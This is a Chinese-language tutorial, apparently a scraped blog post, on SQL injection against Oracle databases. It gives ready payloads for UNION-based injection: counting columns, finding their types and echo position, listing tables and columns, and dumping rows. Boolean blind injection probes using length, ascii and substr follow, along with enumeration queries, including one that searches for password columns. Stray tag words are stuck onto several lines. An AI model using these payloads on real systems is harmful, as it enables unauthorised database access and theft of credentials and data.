小結:數據庫
Union聯合查詢:
order by 定字段
and 1=2 union select null,null..... from dual 而後一個一個去判斷字段類型,方法以下
and 1=2 union select 'null',null...... from dual 返回正常,說明第一個字段是字符型,反之爲數字型
第一個字段是字符型,判斷第二個字段類型:
and 1=2 union select 'null','null'...... from dual 返回正常,說明第二個字段是字符型,反之爲數字型
第一個字段是數字型,判斷第二個字段類型:
and 1=2 union select null,'null'...... from dual 返回正常,說明第二個字段是字符型,反之爲數字型
判斷第n個字段的類型,依次類推便可
肯定回顯位,假設當前共2個字段,全是數字型,判斷方式以下:
and 1=2 union select 1,2 from dual
假設回顯位是2,爆當前數據庫中的第一個表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
爆當前數據庫中的第二個表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual
以此類推去爆第n個表
爆某表中的第一個字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual
爆某表中的第二個字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個字段')) from dual
爆其它字段以此類推
爆某表中的第一行數據:
and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --鏈接多個字段用到的鏈接符號是||,在oracle數據庫中,concat函數只能鏈接兩個字符串oracle
經過字段名找到對應表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; 函數
查詢第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查詢第9行(從1開始數)spa
當前用戶:
SELECT user FROM dual;3d
列出全部用戶:
SELECT username FROM all_users ORDER BY username;blog
列出數據庫
SELECT DISTINCT owner FROM all_tables; ci
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;字符串
列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;io
定位DB文件:
SELECT name FROM V$DATAFILE;table
實例:
1、UNION聯合查詢型注入
一、判斷注入點類型
注入點類型爲單引號字符型
二、order by定字段
三、肯定每一個字段的類型
oracle自帶虛擬表dual,oracle的查詢語句必須完整的包含from字句,且每一個字段的類型都要準確對應,通常使用null來判斷類型。
第一個字段爲數字型
第二個字段爲字符型
四、肯定回顯位
五、爆表
用戶第一個表
或者
其它表使用相同方法便可爆出
六、爆字段
這裏以我爆出的用戶賬號表爲例進行爆字段
爆第二個字段,方法和爆第二個表同樣,加個刪選條件就好了
其它的相似
七、爆值
oracle的字符鏈接用||符號,或者用concat,可是concat只能鏈接連個字符串(能夠嵌套實現鏈接多個字符串),我這裏用||符號鏈接輸出的字符串。
爆其它數據的方法和爆表,爆字段的同樣,這裏再也不贅述。
2、布爾型盲注
這裏貼一些語句,具體就不手工作了
(select length(table_name) from user_tables where rownum=1)>5
(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100
(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)
(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>100
暫時整理到這裏......